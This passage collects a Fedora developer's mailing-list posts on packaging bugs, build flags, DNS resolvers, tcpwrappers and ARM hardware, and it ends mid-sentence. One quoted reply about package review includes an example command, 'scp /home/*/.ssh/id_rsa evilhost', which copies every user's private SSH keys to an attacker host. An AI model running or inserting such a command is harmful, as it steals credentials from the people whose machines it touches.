fedpkg says "fedora.client.bodhi has been deprecated."

[Pete Zaitcev]

Dear Packagers:

I probably missed some kind of announcement, but this started happening
unexpectedly:

[zaitcev@lembas liberasurecode.master]$ fedpkg srpm
/usr/lib/python2.7/site-packages/fedora/client/bodhi.py:48: DeprecationWarning: 
fedora.client.bodhi has been deprecated. Please use bodhi.client.bindings 
instead.
  DeprecationWarning)

All the packages are up to date... or so I think (fedpkg-1.28-1.fc25.noarch,
python-fedora-0.9.0-3.fc25.noarch). Is there something I need to steal from
Rawhide or what?

-- Pete
___
devel mailing list -- devel@lists.fedoraproject.org
To unsubscribe send an email to devel-le...@lists.fedoraproject.org

Re: F25 builds a library with AVX, causes SIGILL on AMD

[Pete Zaitcev]

On Tue, 23 May 2017 09:30:14 +0300
Benson Muite  wrote:

> Will this mean that repository builds will typically have poor 
> performance to support portability?

Yes. In extreme cases, where the difference in performance is measurable,
the library may need to be modified to select a proper implementation
at runtime.

Ironically, liberasurecode crashed on the part that's only invoked
once per data block, so obviously it's not performance critical to
such a degree. In addition, I'm not sure a conversion to floating
point is even necessary there.

Note that in case of liberasurecode, the library itself is by definition
is a switcher shim. Those that want performance specify the fastest Galois
Field implementation and liberasurecode then uses -ldl. The fastsest
known module for Intel CPUs is their in-house ISA-L library.

-- Pete
___
devel mailing list -- devel@lists.fedoraproject.org
To unsubscribe send an email to devel-le...@lists.fedoraproject.org

Re: F25 builds a library with AVX, causes SIGILL on AMD

[Pete Zaitcev]

On Mon, 22 May 2017 23:00:14 -0600
Pete Zaitcev <zait...@redhat.com> wrote:

> As much as I can tell, there's nothing custom in CFLAGS in Makefile.am,
> everything is inherited from RPM somehow. Here's how the actual line
> looks like in Koji logs:

Hate to reply to myself, but I'm an idiot as usual. The culprit is in
configure.ac, not in Makefile.am

$CC - -E -mavx /dev/null 2>&1
if [[ $? == "0" ]]; then
  SUPPORTED_FLAGS="$SUPPORTED_FLAGS -mavx"
  AC_MSG_RESULT([$CC supports -mavx])
fi

I need to nail down this stuff to some generally portable subset.

Sorry for the noise,
-- Pete
___
devel mailing list -- devel@lists.fedoraproject.org
To unsubscribe send an email to devel-le...@lists.fedoraproject.org

F25 builds a library with AVX, causes SIGILL on AMD

[Pete Zaitcev]

Hi, All:

I'm going to re-state the problem in short, but in case, URL
 https://bugzilla.redhat.com/show_bug.cgi?id=1454543

- I maintain a library (liberasurecode)
- It contains a call to ceill() from -lm
- When Koji builds the code, something makes gcc to inline AVX
- The result blows up:
Program received signal SIGILL, Illegal instruction.  
0x7fafaf9e04bd in liberasurecode_get_aligned_data_size (
=> 0x778c44bd <+61>:vxorpd %xmm0,%xmm0,%xmm0

As much as I can tell, there's nothing custom in CFLAGS in Makefile.am,
everything is inherited from RPM somehow. Here's how the actual line
looks like in Koji logs:

libtool: compile:  gcc -DHAVE_CONFIG_H -I. -I../include 
-I../include/erasurecode -I../include/xor_codes -I../include/rs_vand 
-I../include/isa_l -I../include/shss -Werror -O2 -g -Werror -D_GNU_SOURCE=1 
-Wall -pedantic -std=c99 -O2 -g -pipe -Wall -Werror=format-security 
-Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong 
--param=ssp-buffer-size=4 -grecord-gcc-switches 
-specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -m64 -mtune=generic -mmmx 
-DINTEL_MMX -msse -DINTEL_SSE -msse2 -DINTEL_SSE2 -msse3 -DINTEL_SSE3 -mssse3 
-DINTEL_SSSE3 -msse4.1 -DINTEL_SSE41 -msse4.2 -DINTEL_SSE42 -mavx -DINTEL_AVX 
-DARCH_64 -c erasurecode.c  -fPIC -DPIC -o .libs/liberasurecode_la-erasurecode.o

So, what now? I have no clue where to start fixing this.

Thanks in advance for any suggestions,
-- Pete
___
devel mailing list -- devel@lists.fedoraproject.org
To unsubscribe send an email to devel-le...@lists.fedoraproject.org

Re: Packages FTBFS with Python 3.6

[Pete Zaitcev]

On Wed, 21 Dec 2016 00:18:47 +0100
Miro Hrončok  wrote:

> I've attached the list of failed packages (failed.txt). You can search 

python-ceilometerclient
python-keystoneclient
python-manilaclient
python-swiftclient

These are victims of python-oslo-sphinx, needs a new release:

https://bugzilla.redhat.com/show_bug.cgi?id=1408503

-- P
___
devel mailing list -- devel@lists.fedoraproject.org
To unsubscribe send an email to devel-le...@lists.fedoraproject.org

Re: check-buildroot blows up with a Go binary

[Pete Zaitcev]

On Thu, 4 Aug 2016 12:53:24 -0600
Jerry James  wrote:

> That error means that the string
> "/q/zaitcev/rpms/BUILDROOT/openstack-swift-2.9.0-1.z5.x86_64" appears
> in one of the files listed in %files.  Grep for BUILDROOT in your
> installed file tree to find the culprit(s).

Jerry, thanks a lot, this was a key insight. Now all I need is to
find parameters for the go compiler that preclude it from packing
the debugging information into the binary. Although, now I'm curious
how this differs from what C compiler does, and why the debuginfo
extraction process can't deal with this binary.

-- Pete
--
devel mailing list
devel@lists.fedoraproject.org
https://lists.fedoraproject.org/admin/lists/devel@lists.fedoraproject.org

check-buildroot blows up with a Go binary

[Pete Zaitcev]

Hi, All:

I'm trying to package something that's written in Go, and as soon as
I have the compiled binary installed, the rpmbuild blows up like this:

+ /usr/lib/rpm/check-buildroot
Binary file 
/q/zaitcev/rpms/BUILDROOT/openstack-swift-2.9.0-1.z5.x86_64/usr/lib/debug/usr/bin/hummingbird.debug
 matches
Binary file 
/q/zaitcev/rpms/BUILDROOT/openstack-swift-2.9.0-1.z5.x86_64/usr/bin/hummingbird 
matches
Found '/q/zaitcev/rpms/BUILDROOT/openstack-swift-2.9.0-1.z5.x86_64' in 
installed files; aborting
error: Bad exit status from /var/tmp/rpm-tmp.9NyAWC (%install)

When I showed this error to people on #fedora-devel, they suspected
that I managed to get the path to buildroot into %files, but it clearly
is not the case. I added the installation of the binary without any
changes to %files. Such build would normally break at the end in such
case, when it complains about unpackaged files found. But this case is
different, as above.

Does anyone have any guesses about what's going on?

Thanks in advance,
-- Pete
--
devel mailing list
devel@lists.fedoraproject.org
https://lists.fedoraproject.org/admin/lists/devel@lists.fedoraproject.org

Re: Looking for spec A producing package B

[Pete Zaitcev]

On Wed, 20 Jul 2016 18:21:30 +0200
Stanislav Ochotnicky  wrote:

> First a working example:
> http://pkgs.fedoraproject.org/cgit/rpms/python-beanbag.git/tree/python-beanbag.spec
> 
> Basically no %files section without "-n ". That means no
> "main rpm" will get created.

Thanks a lot, I was able to update the spec.

-- Pete
--
devel mailing list
devel@lists.fedoraproject.org
https://lists.fedoraproject.org/admin/lists/devel@lists.fedoraproject.org

Anyone wants Pound?

[Pete Zaitcev]

Hi, guys:

I stopped using Pound for myself (replaced with stunnel + HAproxy),
so I was looking at shedding its maintainership. Anyone wants to
take it over or should I instigate EOL?

Cheers,
-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Packages

[Pete Zaitcev]

On Thu, 26 Feb 2015 13:07:35 -0800
Adam Williamson adamw...@fedoraproject.org wrote:

 I don't need it, I'm a proven packager. MUAUAUAUAAHAAHAHAHAHAHAHA

Hahaha, good one. I volunteered in pkgdb before I saw this.

-- P
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: F22 System Wide Change: Default Local DNS Resolver

[Pete Zaitcev]

On Wed, 14 Jan 2015 06:26:49 +1030
William B will...@firstyear.id.au wrote:

 Right now, enabled unbound and dnssec-trigger on a laptop is an
 extremely difficult experience.

Can you tell why you're trying that. Everyone I talk to always
go unbound, unbound, unbound... WHY? Unbound is plain broken
and does not work, especially with DNSSEC. But I use plain
dnsmasq with NM, and everything works perfectly and fully automated
by NM on my F21 laptop -- including VPN (with vpnc, no less), my internal
LAN DNS, airports, office. Perhaps that's only because dnsmasq fails
to participate in DNSSEC properly? Or what? Why is everyone so
fixated on Unbound?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: GUI applications writing garbage to stdout/stderr

[Pete Zaitcev]

On Wed, 14 Jan 2015 11:22:57 +0100
Marcel Oliver m.oli...@jacobs-university.de wrote:

 Are these considered bugs that I should file against the package?  Is
 there a policy that applies?

I think you should file. I had in the past made maintainers of gvim
(vim-X11) and evince take action to fix this.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Dash as default shell

[Pete Zaitcev]

On Thu, 2 Oct 2014 14:12:12 +0100
Daniel P. Berrange berra...@redhat.com wrote:

 I'd be curious of the results if someone wants to take a stock Fedora 21
 install and switch /bin/sh to point to dash and report if they can still
 boot  login to GNOME.

I did a smaller run on a server without GNOME. Had to chage the parts
of initscripts that you have foreseen and nothing else. The unpleasant
part was that iptables won't start.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Mongo client in Rawhide

[Pete Zaitcev]

Guys, does anyone know what's up with this (in mock_output.log):

...
Start: build setup for iwhd-1.6-12.fc22.src.rpm
ERROR: 
Exception(/var/tmp/koji/tasks/6322/7456322/local/work/cli-build/1409089719.76847.osWulSbq/iwhd-1.6-12.fc22.src.rpm)
 Config(f22-build-2326357-414230) 0 minutes 1 seconds
INFO: Results and/or logs in: /var/lib/mock/f22-build-2326357-414230/result
ERROR: Command failed: 
 # ['/usr/bin/yum-builddep', '--installroot', 
'/var/lib/mock/f22-build-2326357-414230/root/', 
'/var/lib/mock/f22-build-2326357-414230/root///builddir/build/SRPMS/iwhd-1.6-12.fc22.src.rpm',
 '--setopt=tsflags=nocontexts']
Getting requirements for iwhd-1.6-12.fc22.src
 -- autoconf-2.69-15.fc21.noarch
 -- automake-1.14.1-4.fc21.noarch
 -- bison-3.0.2-3.fc22.x86_64
 -- boost-devel-1.55.0-4.fc22.x86_64
 -- boost-filesystem-1.55.0-4.fc22.x86_64
 -- flex-2.5.37-8.fc22.x86_64
 -- gc-devel-7.4.2-2.fc22.x86_64
 -- hail-devel-0.8-0.16.gf9c5b967.fc22.x86_64
 -- help2man-1.46.1-1.fc22.noarch
 -- jansson-devel-2.6-4.fc21.x86_64
 -- libcurl-devel-7.37.1-3.fc22.x86_64
 -- libmicrohttpd-devel-0.9.34-4.fc22.x86_64
 -- liboauth-devel-1.0.3-3.fc22.x86_64
 -- libuuid-devel-2.25-4.fc22.x86_64
 -- libxml2-devel-2.9.1-5.fc22.x86_64
 -- mongodb-server-2.6.3-2.fc22.x86_64
 -- systemd-216-2.fc22.x86_64
Error: No Package found for mongodb-devel

I didn't see any changes in Mongo announced for F22, am I missing
something?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: unsigned char vs. signed char

[Pete Zaitcev]

On Tue, 15 Jul 2014 10:40:10 -0600
Orion Poplawski or...@cora.nwra.com wrote:

 Did you know that char defaults to signed char on x86 but unsigned char 
 on ppc and arm?  I didn't.

Children these days... This variety existed since the 80s.
PDP-11 was signed, IBM 370 - unsigned.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Editing rsyslog.conf from %post

[Pete Zaitcev]

On Tue, 27 May 2014 08:27:24 -0400
Matthew Miller mat...@fedoraproject.org wrote:

 You could drop something into /etc/rsyslog.d/, not relying on just local0
 but also the program name. See
 (http://wiki.rsyslog.com/index.php/Filtering_by_program_name)

Thanks a lot, that's exactly the hint that I needed.

 Is the application's logging useful/appropriate? Maybe it should be patched
 to not log as much, or to only do so when a debug flag is enabled?

No, it needs those logs. It's basically a webserver and a bunch of tools
read the logs.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Editing rsyslog.conf from %post

[Pete Zaitcev]

Greetings, All:

I have a bug 1083039 where basically an application logs everything
to syslog making a mess out of /var/log/messages. The logging facility
is configurable and the default is local0.

I'm toying with an idea of doing something like this in %post
 sed -e s/cron.none[ 
\t]*\/var\/log\/messages/cron.none;local0.none\t\/var\/log\/messages/ -i- 
/etc/rsyslog.conf

However, I have a feeling that such action is ill-advised.
For example, what does happen if the package is uninstalled and
some other package logs to local0? Or what if we ever move to
a different package as part of JournalD etc.

Does anyone have a better idea off the top of his/her head?

Thanks in advance,
-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: default local DNS caching name server

[Pete Zaitcev]

On Thu, 10 Apr 2014 10:41:54 -0400
Chuck Anderson c...@wpi.edu wrote:

 [...]  We need an independent,
 system-wide DNS cache, and always point resolv.conf to 127.0.0.1 to
 solve this fundamental design problem with how name resolution works
 on a Linux system.  Windows has had a default system-wide DNS cache
 for over a decade.  It is about time that Linux catches up.

I observe you pointedly ignore the existence of nscd (which does not
require any changes to resolv.conf). Why is that?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Desktop racing problem in F20

[Pete Zaitcev]

Dear Fedorians:

Recently, I was hitting a number of odd behaviours that look like races.
Filed a couple of bugs:

 https://bugzilla.redhat.com/show_bug.cgi?id=1082092
 https://bugzilla.redhat.com/show_bug.cgi?id=1082095

But this feels unsatisfactory, because reproducibility is extremely
low for all cases. Bugs aren't going to cut it.

So, I'm wondering if anyone has an idea where to dig.

Here's what I recall seeing:

 - The audio volume applet does not always react to plugging headphones.
   Re-plug and it goes away.

 - Screensaver forgetting to blank. Move cursor and problem disappears.

 - Applications may not map on screen on start. Click on activity again
   usually fixes the problem.

I think there were more, I just can't remember them all.

In each instance it's easy to blame firmware, kernel, whatever. But
there are several. If RAM was bad, I imagine I'd see crashes. But no,
system is stable. Also, F19 worked fine.

Of course it's most difficult to find a black cat in dark room when
it is not in the room, so I'm wondering if I'm seeing things. If anyone
else is seeing a sudden onset of racing behaviours after upgrade to F20,
please let me know.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Desktop racing problem in F20

[Pete Zaitcev]

On Fri, 28 Mar 2014 10:53:23 -0600
Stephen John Smoogen smo...@gmail.com wrote:

 Well I have seen all of these in the last 2 weeks on Fedora 19 so I am not
 sure what exactly is going on.

Thanks for sharing. Perhaps some bad updates went in?

If we only see the 3 areas, it may be 3 unrelated bugs. I just asked
in case there are 10 races.

Did you file any bugs? I'll be happy to dedup.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Maybe it's time to get rid of tcpwrappers/tcpd?

[Pete Zaitcev]

On Thu, 20 Mar 2014 20:05:21 +0100
Lennart Poettering mzerq...@0pointer.de wrote:

 Well, all mails servers as well as sshd have much better ways to do
 such filtering. sshd has Match,

The sshd's Match does not have any historic criteria (e.g. sshd does
not keep a database of previous login attempts). It is not possible
to import an address match from elsewhere either (where e.g. denyhosts
could write it). In short, Match cannot replay fail2ban and denyhosts,
as far as I can see.

I think your original idea of using firewalls was better. Someone just
has to implement it. Unfortunately, I'm neck-deep in cloud storage
at the moment, so I'm not volunteering.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Maybe it's time to get rid of tcpwrappers/tcpd?

[Pete Zaitcev]

On Thu, 20 Mar 2014 18:34:22 +0100
Lennart Poettering mzerq...@0pointer.de wrote:

 I doubt there are many people even using them anymore, firewalls are
 more comprehensive and a lot more powerful, and while every admin knows
 firewalls, I figure only very few know tcpd/tcpwrap, and even fewer ever
 actively make use of them...

I use tcpwrappers through denyhosts, which write out /etc/hosts.deny.
Then openssh-server then uses the tcpwrappers to apply the rules (AFAIK).
When I investigated it, denyhosts was superior to fail2ban due to the
latter doing some crazy stuff with iptables that made me uncomfortable.
Also, this:

Installing:
 fail2ban   noarch 0.9-0.3.git1f1a561.fc20fedora  261 k
Installing for dependencies:
 ed x86_64 1.10-1.fc20updates  72 k
 gamin-python   x86_64 0.1.10-15.fc20 fedora   34 k
 python-inotify noarch 0.9.4-4.fc20   fedora   49 k
 systemd-python x86_64 208-15.fc20updates  80 k

I agree that tcpwrappers should die in favour of firewalls.
Folks working on fail2ban are already considering integration
with firewalld, which seems like a great idea. Too bad fail2ban
is just as crusty as tcpwrappers. If we only had denyhosts that
executed firewall-cmd...

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Protection from merge commits

[Pete Zaitcev]

Dear All:

I found that I pushed a merge node into Fedora git (fortunately it was
only on f19 branch, not in Rawhide):

commit 51eec48c20ba57054f17ba29f23e6a0aa36df9a4
Merge: ac36771 f9213a5
Author: Pete Zaitcev zait...@kotori.zaitcev.us
Date:   Wed Aug 7 12:14:15 2013 -0600

Merge branch 'f19' of ssh://pkgs.fedoraproject.org/openstack-swift into f19

Thought I was careful about them, but apparently not enough. So, does
anyone have a script that can be attached to git hooks, reliably detects
an attempt to push merge nodes, then bails the push?

Thanks,
-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Why is AHCI built-in?

[Pete Zaitcev]

On Mon, 19 Aug 2013 13:16:03 -0500
Ian Pilcher arequip...@gmail.com wrote:

 (I want to rebuild it with LED triggers for the disk LEDs on my NAS.)

Frankly this sounds like madness. You need to build a kernel,
it's trivial -- just edit one of configs and rpmbuild -ba, and then
you have very clear delineation of what upgrades what and what
depends on what.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
Fedora Code of Conduct: http://fedoraproject.org/code-of-conduct

Re: Question about what to do if mantainer is absent

[Pete Zaitcev]

On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro mike.catanz...@gmail.com wrote:

 Well the open model has already been tried and proven in openSUSE, and
 they're still using it because it actually works really well.  There
 aren't usually any issues regarding overlap of work, though admittedly
 that community is a smaller than Fedora's. It's hard to get away with
 scp /home/*/.ssh/id_rsa evilhost because every change is always reviewed
 by a small group of maintainers responsible for a collection of
 packages.

How do they deal with a conflict? Imagine someone there splitting
texlive into 2500 subpackages and then 100 angry contributors
reverting it. What are they going to do in their open model then?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Do you think this is a security risk and if not is it a bad UI decision?

[Pete Zaitcev]

On Wed, 08 May 2013 10:09:13 +0200
Pierre-Yves Chibon pin...@pingoured.fr wrote:

 On Wed, 2013-05-08 at 10:10 +0200, Olav Vitters wrote:
  On Fri, May 03, 2013 at 09:03:02PM -0700, Dan Mashal wrote:

   Let's be realistic here. The precedence they have recently set is they
   make decisions and if you don't like it too bad.
  
  Even if that is true, what is your point?
 
 That you are replying to a 4 days old email on a thread that is no
 longer active?

FOUR DAYS is no longer active for you? Seriously?
You want to STFU those who disagree _this hard_?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Do you think this is a security risk and if not is it a bad UI decision?

[Pete Zaitcev]

On Sat, 4 May 2013 05:32:18 +0100
Matthew Garrett mj...@srcf.ucam.org wrote:

  I strongly disagree. The policy implication of this violation of
  tradition and expectation goes beyond Anaconda.
 
 If you want to change a decision, it helps if you're discussing it in a 
 forum that's read by the people who made that decision.

This is a perfectly appropriate forum where their authority for
making this decision is to be discussed before it's revoked if
necessary.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: NetworkManager: do not tend missing hardware

[Pete Zaitcev]

On Thu, 25 Apr 2013 10:28:56 -0700
John Reiser jrei...@bitwagon.com wrote:

 $ dmesg
 Apr 25 05:56:36 localhost NetworkManager[614]: info modem-manager is now 
 available

Yeah, modem manager is irksome, although in my case it only wastes 2.3 MB.
Did you try to file something like make NM load helpers only as needed?
Dan is usually quite responsive. At worst he'll explain in Bugzilla why
NM does it this way.

Bluetooth is generally attached through USB, BTW. NM could know if
BT adapter is on or not, even get events when it comes online (by flipping
hardware switch).

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Keystone on Rawhide tracebacks around sqlalchemy

[Pete Zaitcev]

Greetings:

When I try to run Keystone, it blows up with this:

  File /usr/lib/python2.7/site-packages/migrate/versioning/schema.py, line 
10, in module
from sqlalchemy import exceptions as sa_exceptions
ImportError: cannot import name exceptions

python-sqlalchemy-0.8.0-0.1.b1.fc19.x86_64
openstack-keystone-2013.1-0.2.g2.fc19.noarch

Weird thing is, I'm not trying to migrate anything anywhere.
Just launching a new Keystone with keystone-manage db_sync.
Does it work for anyone else?

Thanks,
-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Proposed F19 Feature: Ryu - Network Operating System

[Pete Zaitcev]

On Thu, 24 Jan 2013 12:20:01 +0900
Isaku Yamahata yamah...@valinux.co.jp wrote:

 I suppose you're talking about the difference from plain Open vSwitch plugin.

 Plain OVS plugin doesn't use OpenFlow controller. So it's rather static and
 utilizes small subset of OVS. For example, it doesn't react to network usage
 dynamically.

Thanks a lot, that explains it.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Proposed F19 Feature: Ryu - Network Operating System

[Pete Zaitcev]

On Wed, 23 Jan 2013 15:25:53 +
Jaroslav Reznik jrez...@redhat.com wrote:

 Currently, Ryu manages network devices by using OpenFlow. You 
 can say that Ryu is an OpenFlow Controller.

I'm just curious about something. Not saying if we need or do not need
Ryu in Fedora, I notice that Ryu attempts to insert itself between
OpenStack and OpenVSwitch (or actually anything that implements OpenFlow).
What's the purpose of adding the layer, and how is it different from
what Quantum is doing now? There has to be some kind of specific benefit.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Update mongodb to 2.2.0 (latest release)

[Pete Zaitcev]

On Tue, 09 Oct 2012 09:52:04 -0500
Troy Dawson tdaw...@redhat.com wrote:

 I'm pretty sure at the very least we need to update the various mongo
 drivers (rubygem-mongo, pymongo, etc..)

Well, I suppose can rebuild iwhd in F17 and bump Requires: mongo = 2.2.
Not ideal in a stable release, but it you think it's ok...

I see Nate is AWOL in this thread suspiciously.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Package with no upstream (ftp)

[Pete Zaitcev]

On Wed, 18 Jul 2012 10:55:55 -0400
David Cantrell dcantr...@redhat.com wrote:

 Or forget the netkit source.  I'd like to see ftp(1) replaced with the
 NetBSD ftp client:
 
 ftp://ftp.netbsd.org/pub/NetBSD/misc/tnftp/

But we already have a yet nicer FTP client, lftp. Really not point in
tinkering with the plain FTP this way, it seems to me.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: [ACTION REQUIRED] Retiring packages for Fedora 18

[Pete Zaitcev]

On Fri, 6 Jul 2012 16:55:19 -0400
Bill Nottingham nott...@redhat.com wrote:

 Package Pound (orphan)

I'm taking Pound in the interests of Swift, while we're figuring out
what the standard reverse proxy in Fedora is.

-- P
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: GitHub is a terrible upstream

[Pete Zaitcev]

On Mon, 23 Apr 2012 14:08:05 -0600
Orion Poplawski or...@cora.nwra.com wrote:

 %global commit bd245c9
 
 Source0: 
 https://github.com/jukka/pcfi/tarball/%{commit}/jukka-pcfi-%{commit}.tar.gz
 
 %setup -q -n jukka-pcfi-%{commit}

I do not understand how this is supposed to work in the face of
yum update.

Suppose I cut a package last year:
 swift3-1.0.0-878c23.tag.xz
Then I build an RPM:
 openstack-swift-plugin-swift3-1.0.0-878c23-1.fc17.noarch.rpm

Today I run the same git-archve and get:
 swift3-1.0.0-5c74ba.tag.xz
 openstack-swift-plugin-swift3-1.0.0-5c74ba-1.fc18.noarch.rpm

Great, how do I update from the old one to the new one? Please do not
suggest epoch.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

python-webob 1.1 vs 1.2

[Pete Zaitcev]

Guys,

I noticed that we started building Webob 1.1 in F17. However, I had
some issues with 1.1, namely they deprecated a bunch of attributes
by throwing warnings. This causes unit tests to fail and ironically
the way 1.2 completely disables them with None is much easier to
detect, so that code supporting both 1.0 and 1.2 may be written.
Code supporting 1.0 and 1.1 is much more difficult.

So, do you think we could just jump over 1.1 and go to 1.2 betas
instead?

Alternatively, I'd love some advice on how to deal with 1.1.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: ARM as a primary architecture

[Pete Zaitcev]

On Fri, 23 Mar 2012 04:46:23 +0100
Kevin Kofler kevin.kof...@chello.at wrote:

 My desktop is actually older and slower than my notebook. Yet I use the 
 desktop whenever I'm at home. The form factor is just more convenient.

That's just what you personally prefer. I quit using desktops back
in 2001, because laptop form factor is just more convenient for me.
Let's not mistake personal perceptions for the whole picture.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: ARM as a primary architecture

[Pete Zaitcev]

On Thu, 22 Mar 2012 14:01:27 -0400
DJ Delorie d...@redhat.com wrote:

 Buy a trimslice and run it with iSCSI.

This is not good enough for me to become involved with Fedora on ARM.
Glad it works for you, but I need a real system, like a Netwinder.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: ARM as a primary architecture

[Pete Zaitcev]

On Fri, 23 Mar 2012 22:02:37 +
Richard W.M. Jones rjo...@redhat.com wrote:

  It unfortunately shed no light on the ARM topic, because, well,
  there's ARM SoCs in all those form factors.
 
 Except the x86-64 high performance single threaded class :-)

Rich, check this out -
 http://summit.openstack.org/sessions/view/40

-- P
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: ARM as a primary architecture

[Pete Zaitcev]

On Fri, 23 Mar 2012 22:05:39 +
Peter Robinson pbrobin...@gmail.com wrote:

 Trimslice has options of SSD or HDD as well so it would be no less of
 a real machine like a netwinder.
 
 http://trimslice.com/web/models

So I see, thanks. DJ's original suggestion was too forceful in insisting
on iSCSI. I also received a word from colleague in town that he's going
to tinker with Trimslice Pro.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: ARM as a primary architecture

[Pete Zaitcev]

On Tue, 20 Mar 2012 11:52:29 -0400
Peter Jones pjo...@redhat.com wrote:

 6) supported platforms must be fully integrated into building and
 installation.

Apropos that, what are the supported platforms right now?

From what I know about the Fedora on ARM, they use a rather scary
looking pile of development boards with very poor I/O.

I'd like to know if you can make a suggestion like if you want to
hack on Fedora on ARM, buy Dell XXX or Archos YYY, and then we're
all more or less on the same page for next 2 years at least.
Or it doesn't work like that in the ARM world?

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Notice: IPv6 breaking issues tentatively considered blocker for F17

[Pete Zaitcev]

On Sat, 10 Mar 2012 07:46:56 -0600
Chris Adams cmad...@hiwaay.net wrote:

 DHCPv6 is not the only way to configure dynamic IPv6; my home network is
 using SLAAC.  IMHO that will probably be more common in home and other
 small networks.

This may be the case for the network that you or I run, but not for providers.
Comcast require DHCPv6 (otherwise they can't delegate /64 automatically).

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Notice: IPv6 breaking issues tentatively considered blocker for F17

[Pete Zaitcev]

On Mon, 12 Mar 2012 13:08:24 -0500
Dan Williams d...@redhat.com wrote:

  Comcast require DHCPv6 (otherwise they can't delegate /64 automatically).
 
 Do they send RAs at all?  If so, which (if either) of the other and
 managed flags are set?  If they don't, do they just expect DHCPv6 to
 be magically run, and what gets used for the default gateway address
 given that DHCPv6 has no such option?  I'd love to know...

I promise to let you know once I can run rdisc6 eth0.2.

-- Pete
-- 
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Automating the NonResponsiveMaintainers policy

[Pete Zaitcev]

On Fri, 02 Mar 2012 12:09:21 +0100
Reindl Harald h.rei...@thelounge.net wrote:

 if you are working the whole month on a different component
 and give no single feedback to a new reported bug you are
 ending in frustrated submitters - if they get a assigned
 they do not feel ignored

This is going to end in counter-automation, with a script that
